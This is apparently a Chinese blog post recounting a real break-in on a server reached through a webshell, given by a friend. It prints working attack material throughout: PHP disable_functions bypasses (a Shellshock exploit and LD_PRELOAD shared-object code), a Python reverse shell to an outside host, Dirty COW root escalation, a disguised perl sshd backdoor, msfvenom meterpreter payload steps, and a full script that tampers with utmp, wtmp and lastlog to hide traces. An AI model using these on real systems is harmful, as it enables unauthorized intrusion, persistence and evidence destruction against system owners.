首页 生活文章正文

exploit(一次艰难的渗透提权过程,换了多少个姿势)

生活 2024年01月10日 01:49 698 泳仪

0x01 前言

某日朋友丢了一条shell叫我提权,我拿到shell看了一下,菜刀蚁剑都无法执行命令。


Getshell的漏洞分析在:https://getpass.cn/2019/09/06/An-APP-distribution-system-upload-vulnerability/


然后搞了好久熬了一个晚上才弄好,中间走了很多弯路。。。


0x02 信息探测

上一个phpinfo看下环境


PHP Version 5.6.30disable_functions:passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthrusendmail_path:/usr/sbin/sendmail -t -imysql: mysqlnd 5.0.11-dev - 20120503

宝塔警告!


问了宝塔的开发工程师,宝塔确实是做得挺好的,Windows的基本没什么希望了,看下Linux的。


0x03 肝

putenv这个没禁可以利用一下,看了P神的一篇文章:https://www.leavesongs.com/PHP/php-bypass-disable-functions-by-CVE-2014-6271.html


http://www.exploit-db.com/exploits/35146/ 的POC


<?php # Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions) # Google Dork: none # Date: 10/31/2014 # Exploit Author: Ryan King (Starfall) # Vendor Homepage: http://php.net # Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror # Version: 5.* (tested on 5.6.2) # Tested on: Debian 7 and CentOS 5 and 6 # CVE: CVE-2014-6271 function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283 $tmp = tempnam(".","data"); putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); // In Safe Mode, the user may only alter environment variableswhose names // begin with the prefixes supplied by this directive. // By default, users will only be able to set environment variablesthat // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty, // PHP will let the user modify ANY environment variable! mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail $output = @file_get_contents($tmp); @unlink($tmp); if($output != "") return $output; else return "No output, or not vuln."; } echo shellshock($_REQUEST["cmd"]); ?>

没戏。。


继续肝。。。


0x04 新希望 LD_PRELOAD

上gayhub上面搜了一下看到了一篇不错的姿势https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD


按照了里面的一段代码bypass_disablefunc.c


#define _GNU_SOURCE#include <stdlib.h>#include <unistd.h>#include <sys/types.h>__attribute__ ((__constructor__)) void preloadme (void){ unsetenv("LD_PRELOAD"); const char* cmdline = getenv("EVIL_CMDLINE"); system(cmdline);}

编译了一下


然后上传调用文件php


<?php echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>"; $cmd = $_GET["cmd"]; $out_path = $_GET["outpath"]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1"; echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>"; putenv("EVIL_CMDLINE=" . $evil_cmdline); $so_path = $_GET["sopath"]; putenv("LD_PRELOAD=" . $so_path); mail("", "", "", ""); echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; unlink($out_path);?>

利用的时候没回显,what?


又找了一篇文章:https://www.cnblogs.com/leixiao-/p/10612798.html


还是利用unix的LD_PRELOAD和php的putenv


#include<stdlib.h>__attribute__((constructor)) void l3yx(){ unsetenv("LD_PRELOAD"); system(getenv("_evilcmd"));}

利用php文件


<?phpputenv("_evilcmd=echo 1>/root/tmp/222222");putenv("LD_PRELOAD=./evil.so");mail('a','a','a','a');

执行后去刷新了一下目录,!!!!我去,成功了!


但是这样执行代码总是有众多不便的,比如没有回显,把命令带参数执行的时候会报错等


还得继续。。。


0x05 柳暗花明又一村-centos

看了大佬一篇文章https://www.meetsec.cn/index.php/archives/44/


一个修复版的bypass.c,作者的解释:


如果你是一个细心的人你会发现这里的bypass_disablefunc.c(来自github)和教程中提及的不一样,多出了使用for循环修改LD_PRELOAD的首个字符改成0,如果你略微了解C语言就会知道0是C语言字符串结束标记,原因注释里有:unsetenv("LD_PRELOAD")在某些Linux发行版不一定生效(如CentOS),这样一个小动作能够让系统原有的LD_PRELOAD环境变量自动失效


然后从环境变量 EVIL_CMDLINE 中接收 bypass_disablefunc.php 传递过来的待执行的命令行。


用命令 gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so 将 bypass_disablefunc.c 编译为共享对象 bypass_disablefunc_x64.so:


要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。


#define _GNU_SOURCE#include <stdlib.h>#include <stdio.h>#include <string.h>extern char** environ;__attribute__ ((__constructor__)) void preload (void){ // get command line options and arg const char* cmdline = getenv("EVIL_CMDLINE"); // unset environment variable LD_PRELOAD. // unsetenv("LD_PRELOAD") no effect on some // distribution (e.g., centos), I need crafty trick. int i; for (i = 0; environ[i]; i) { if (strstr(environ[i], "LD_PRELOAD")) { environ[i][0] = '0'; } } // executive command system(cmdline);}

偶~**!


后来作者确实改进了代码


中间也发现了一篇不错的方法:https://www.mi1k7ea.com/2019/06/02/浅谈几种Bypass-disable-functions的方法/


劫持getuid()


基本原理


前提是在Linux中已安装并启用sendmail程序。


php的mail()函数在执行过程中会默认调用系统程序/usr/sbin/sendmail,而/usr/sbin/sendmail会调用getuid()。如果我们能通过LD_PRELOAD的方式来劫持getuid(),再用mail()函数来触发sendmail程序进而执行被劫持的getuid(),从而就能执行恶意代码了。


细化一下:


编写一个原型为 uid_t getuid(void); 的 C 函数,内部执行攻击者指定的代码,并编译成共享对象 evil.so;


运行 PHP 函数 putenv(),设定环境变量 LD_PRELOAD 为 evil.so,以便后续启动新进程时优先加载该共享对象;


运行 PHP 的 mail() 函数,mail() 内部启动新进程 /usr/sbin/sendmail,由于上一步 LD_PRELOAD 的作用,sendmail 调用的系统函数 getuid() 被优先级更好的 evil.so 中的同名 getuid() 所劫持;


达到不调用 PHP 的各种命令执行函数(system()、exec() 等等)仍可执行系统命令的目的。


#include <stdlib.h>#include <stdio.h>#include <string.h>int geteuid() { const char* cmdline = getenv("EVIL_CMDLINE"); if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); system(cmdline);}

gcc -shared -fPIC bypass.c -o byapss.so 编译了一下去利用,发现可以哦!


0x06 脏牛提权

可以执行命令了,执行上反弹shell,有交互的shell舒服多了,这里用python的反弹脚本,一般系统有装python脚本,我都会先用pyhton,因为有一些系统的不一样,bash或者nc比较麻烦。


import socket,subprocess,oss=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("x.x.x.x",7777))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"]);

监听一波


反弹成功了


执行uname -a看了下版本


Linux cloud 2.6.32-642.el6.x86_64 #1 SMP Tue May 10 17:27:01 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux


2.6的版本上脏牛必中,可以不用在目标机子上面编译,在自己的Linux环境编译然后上传到目标机子上面执行


那就静静等待脏牛把root替换掉,然后脸上目标机子,大概要几分钟这样子,去连ssh的时候有些管理员会把ssh的端口改了,用命令netstat -nlp就可以看到了。


已经成功了,用户名为firefart密码是刚设置的123456。


已经成功登陆目标机子


0x07 持续访问-ssh后门

登陆目标机子后,记得及时恢复/etc/passwd


cp /tmp/passwd.bak /etc/passwd

看过一篇文章,觉得这个后门也不错,https://www.freebuf.com/articles/system/140880.html


那些pam补丁、隐藏文件、suid、inetd等都可以用作后门,看你环境。


这个ssh 后门伪装成一个perl脚本,名为sshd,位于/usr/sbin/sshd , 将系统原先的sshd 移到/usr/bin下

#!/usr/bin/perlexec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;将真正的sshd 移至/usr/bin/sshd

mv /usr/sbin/sshd /usr/bin/sshd将后门sshd (perl脚本移动至/usr/sbin/sshd),并授予执行权限

chmod x /usr/sbin/sshd 重启 ssh 服务

/etc/init.d/sshd restart

5.连接后门,记得安装好socat

sudo yum install socat#socat STDIO TCP4:目标ip:ssh端口一般是22,sourceport=31334socat STDIO TCP4:127.0.0.1:22,sourceport=31334

0x08 metaspliot 横向渗透

当然做内网渗透必不可少的就是msf了,如果是Windows的话推荐使用CobaltStrike非常nice的一个工具。


反正我们现在拿到root的shell了,先反弹一个Meterpreter的会话,还是常规的生成payload,然后监听等待上线


先生成一个后门

msfVENOM -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.79.132 LPORT=4455 -f elf > shell.elf

把shell.elf上传到目标机子上面运行
在本地执行监听

use exploit/multi/handlerset PAYLOAD linux/x86/meterpreter/reverse_tcpset LHOST 0.0.0.0set LPORT 4455exploit

执行后门反弹Meterpreter的会话

chmod x ./shell.elf./shell.elf

5.查看跳板机处于哪几个网段


run get_local_subnets

看了一下。。。


但是我这个是属于外网的机子,后来想了一下感觉都不是内网一点意思都没有。。。


算了吧下次有遇到内网的可以再写一篇内网渗透的文章出来哈


0x09 擦屁股

走之后记得清理痕迹,以防被溯源或者被管理员发现了。下面附上一个脚本供大家使用:


#!/usr/bin/env python import os, struct, sysfrom pwd import getpwnamfrom time import strptime, mktimefrom optparse import OptionParserUTMPFILE = "/var/run/utmp"WTMPFILE = "/var/log/wtmp"LASTLOGFILE = "/var/log/lastlog"LAST_STRUCT = 'I32s256s'LAST_STRUCT_SIZE = struct.calcsize(LAST_STRUCT)XTMP_STRUCT = 'hi32s4s32s256shhiii4i20x'XTMP_STRUCT_SIZE = struct.calcsize(XTMP_STRUCT)def getXtmp(filename, username, hostname): xtmp = '' try: fp = open(filename, 'rb') while True: bytes = fp.read(XTMP_STRUCT_SIZE) if not bytes: break data = struct.unpack(XTMP_STRUCT, bytes) record = [(lambda s: str(s).split("0", 1)[0])(i) for i in data] if (record[4] == username and record[5] == hostname): continue xtmp = bytes except: showMessage('Cannot open file: %s' % filename) finally: fp.close() return xtmpdef modifyLast(filename, username, hostname, ttyname, strtime): try: p = getpwnam(username) except: showMessage('No such user.') timestamp = 0 try: str2time = strptime(strtime, '%Y:%m:%d:%H:%M:%S') timestamp = int(mktime(str2time)) except: showMessage('Time format err.') data = struct.pack(LAST_STRUCT, timestamp, ttyname, hostname) try: fp = open(filename, 'wb') fp.seek(LAST_STRUCT_SIZE * p.pw_uid) fp.write(data) except: showMessage('Cannot open file: %s' % filename) finally: fp.close() return Truedef showMessage(msg): print msg exit(-1)def saveFile(filename, contents): try: fp = open(filename, 'w b') fp.write(contents) except IOError as e: showMessage(e) finally: fp.close()if __name__ == '__main__': usage = 'usage: logtamper.py -m 2 -u b4dboy -i 192.168.0.188n logtamper.py -m 3 -u b4dboy -i 192.168.0.188 -t tty1 -d 2015:05:28:10:11:12' parser = OptionParser(usage=usage) parser.add_option('-m', '--mode', dest='MODE', default='1' , help='1: utmp, 2: wtmp, 3: lastlog [default: 1]') parser.add_option('-t', '--ttyname', dest='TTYNAME') parser.add_option('-f', '--filename', dest='FILENAME') parser.add_option('-u', '--username', dest='USERNAME') parser.add_option('-i', '--hostname', dest='HOSTNAME') parser.add_option('-d', '--dateline', dest='DATELINE') (options, args) = parser.parse_args() if len(args) < 3: if options.MODE == '1': if options.USERNAME == None or options.HOSTNAME == None: showMessage(' [Warning]: Incorrect parameter.n') if options.FILENAME == None: options.FILENAME = UTMPFILE # tamper newData = getXtmp(options.FILENAME, options.USERNAME, options.HOSTNAME) saveFile(options.FILENAME, newData) elif options.MODE == '2': if options.USERNAME == None or options.HOSTNAME == None: showMessage(' [Warning]: Incorrect parameter.n') if options.FILENAME == None: options.FILENAME = WTMPFILE # tamper newData = getXtmp(options.FILENAME, options.USERNAME, options.HOSTNAME) saveFile(options.FILENAME, newData) elif options.MODE == '3': if options.USERNAME == None or options.HOSTNAME == None or options.TTYNAME == None or options.DATELINE == None: showMessage(' [Warning]: Incorrect parameter.n') if options.FILENAME == None: options.FILENAME = LASTLOGFILE # tamper modifyLast(options.FILENAME, options.USERNAME, options.HOSTNAME, options.TTYNAME , options.DATELINE) else: parser.print_help()

0xA 结束

中盟盛世科技网 网站地图 免责声明:本网站部分内容由用户自行上传,若侵犯了您的权益,请联系我们处理,联系QQ:2760375052 版权所有:中盟盛世科技网:沪ICP备2023024865号-1